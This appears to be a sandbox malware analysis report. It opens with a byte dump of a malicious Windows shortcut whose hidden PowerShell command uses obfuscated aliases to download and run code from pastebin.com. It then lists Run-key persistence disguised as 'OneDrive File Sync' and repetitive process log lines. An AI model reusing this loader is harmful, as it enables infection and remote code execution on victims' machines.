(76,0,0,0,1,20,2,0,0,0,0,0,192,0,0,0,0,0,0,70,171,0,8,0,32,0,0,0,124,37,104,27,210,97,216,1,203,131,156,28,20,3,219,1,124,37,104,27,210,97,216,1,0,16,1,0,0,0,0,0,7,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,69,1,20,0,31,80,224,79,208,32,234,58,105,16,162,216,8,0,43,48,48,157,25,0,47,67,58,92,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,86,0,49,0,0,0,0,0,23,89,186,133,48,0,87,105,110,100,111,119,115,0,64,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,246,25,0,0,0,0,2,0,0,0,0,0,12,1,0,0,0,0,0,0,0,0,46,238,28,1,87,0,105,0,110,0,100,0,111,0,119,0,115,0,0,0,22,0,90,0,49,0,0,0,0,0,36,89,104,183,16,0,83,121,115,116,101,109,51,50,0,0,66,0,9,0,4,0,239,190,167,84,44,42,41,89,8,186,46,0,0,0,76,95,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,208,173,33,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,0,0,24,0,102,0,50,0,0,16,1,0,167,84,130,42,32,0,102,111,114,102,105,108,101,115,46,101,120,101,0,0,74,0,9,0,4,0,239,190,167,84,130,42,41,89,208,189,46,0,0,0,65,248,0,0,0,0,1,0,0,0,0,0,116,0,0,0,0,0,0,0,0,0,132,116,26,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,0,0,28,0,0,0,86,0,0,0,28,0,0,0,1,0,0,0,28,0,0,0,52,0,0,0,0,0,0,0,85,0,0,0,24,0,0,0,3,0,0,0,96,56,18,250,16,0,0,0,87,105,110,100,111,119,115,0,67,58,92,87,105,110,100,111,119,115,92,83,121,115,116,101,109,51,50,92,102,111,114,102,105,108,101,115,46,101,120,101,0,0,38,0,46,0,46,0,92,0,46,0,46,0,92,0,46,0,46,0,92,0,87,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,83,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,92,0,102,0,111,0,114,0,102,0,105,0,108,0,101,0,115,0,46,0,101,0,120,0,101,0,215,0,47,0,112,0,32,0,99,0,58,0,92,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,92,0,115,0,121,0,115,0,116,0,101,0,109,0,51,0,50,0,32,0,47,0,109,0,32,0,110,0,111,0,116,0,101,0,112,0,97,0,100,0,46,0,101,0,120,0,101,0,32,0,47,0,99,0,32,0,34,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,46,0,101,0,120,0,101,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,112,0,111,0,119,0,101,0,114,0,115,0,104,0,101,0,108,0,108,0,32,0,45,0,119,0,105,0,110,0,100,0,111,0,119,0,115,0,116,0,121,0,108,0,101,0,32,0,104,0,32,0,45,0,99,0,111,0,109,0,109,0,97,0,110,0,100,0,32,0,39,0,115,0,97,0,108,0,32,0,102,0,97,0,116,0,98,0,97,0,107,0,101,0,32,0,99,0,97,0,108,0,99,0,59,0,115,0,97,0,108,0,32,0,99,0,97,0,108,0,108,0,105,0,116,0,32,0,105,0,69,0,120,0,59,0,32,0,115,0,97,0,108,0,32,0,36,0,101,0,110,0,118,0,58,0,111,0,115,0,32,0,105,0,87,0,114,0,59,0,32,0,99,0,97,0,108,0,108,0,105,0,84,0,40,0,87,0,73,0,78,0,68,0,79,0,87,0,83,0,95,0,78,0,84,0,32,0,112,0,97,0,115,0,116,0,101,0,98,0,105,0,110,0,46,0,99,0,111,0,109,

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run OneDrive File Sync			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Tries to open files direct via NTFS file id

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: NULL			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Stand_Trainer_Updated.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
